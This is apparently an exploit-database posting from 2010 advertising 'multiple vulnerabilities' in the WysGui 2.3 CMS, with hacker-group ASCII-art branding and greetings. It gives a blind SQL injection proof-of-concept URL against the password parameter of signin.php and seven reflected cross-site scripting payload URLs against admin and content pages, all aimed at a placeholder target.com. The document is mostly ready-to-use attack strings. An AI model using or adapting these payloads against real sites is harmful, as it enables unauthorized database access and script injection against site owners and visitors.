WysGui 2.3 Multiple Vulnerabilities

===================================
WysGui 2.3 Multiple Vulnerabilities
===================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                       Sweet the Algerian Haxxor                      0
1                    ######################################            0
0                                                                      1
1  [+]Exploit Title:   WysGui 2.3 Multiple vulnerabilities             0
0  [+]Date: 30/08/2010                                                 1
1  [+]Author: Sweet                                                    0
0  [+]Contact : [email protected]                                    0
1  [+]Software Link:  www.wysgui.com                                   0
0  [+]Download:    http://sourceforge.net/projects/wysgui/             1
1  [+]Version:  2.3 and porbably lesser                                0
0  [+]Tested on: WinXp sp3                                             1
1  [+]Risk : hight                                                     0
0  [+]Description : Just another Cms                                   0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1


Blind Sqlinjection :


in http://www.target.com/WysGyuipath/signin.php

The POST variable pass is vulnerable to Blind injection 

Poc:

http://www.target.com/WysGyuipath/signin.php?user=test&pass=test+and+31337-31337=0+--+&login=Sign%20In


Xss:

http://www.target.com/WysGyuipath/addcontent.php/>"><ScRiPt>alert("sweet")</ScRiPt>

http://www.target.com/WysGyuipath/cms/addnav.php/>"><ScRiPt>alert("sweet")</ScRiPt>

http://www.target.com/WysGyuipath/addpage.php/>"><ScRiPt>alert("sweet")</ScRiPt>

http://www.target.com/WysGyuipath/admin.php/>"><ScRiPt>alert("sweet")</ScRiPt>

http://www.target.com/WysGyuipath/editcontent.php/>"><ScRiPt>alert("sweet")</ScRiPt>

http://www.target.com/WysGyuipath/index.php/>"><ScRiPt>alert("sweet")</ScRiPt>

http://www.target.com/WysGyuipath/cms/signin.php/>"><ScRiPt>alert("sweet")</ScRiPt>


thx to Milw0rm.com , JF - Hamst0r - Keystroke ,SeeMe ,inj3ct0r , inj3ct0r.com  and all arabe Hackers


Saha Ftourkoum et 1,2,3 viva L'Algerie :))



#  0day.today [2018-04-12]  #